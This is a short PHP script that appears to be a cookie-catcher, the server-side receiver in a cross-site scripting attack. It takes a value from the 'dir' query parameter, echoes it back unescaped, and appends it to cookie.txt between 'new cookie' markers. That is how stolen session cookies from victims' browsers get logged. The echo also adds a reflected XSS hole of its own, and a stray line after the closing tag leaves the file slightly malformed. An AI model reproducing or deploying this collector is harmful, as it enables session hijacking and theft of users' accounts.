php
<?
if (isset($_GET['dir']))
{
$dir=$_GET['dir'];
echo $dir;
echo "----------- new cookie -----------\n";
$cookie=" new cookie ";
$f=fopen("cookie.txt","a") or die("Error");
fwrite($f,$cookie);
fwrite($f,$dir);
fwrite($f," end of cookie \n\n");
fclose($f);
}
?>
fwrite($f, "\n");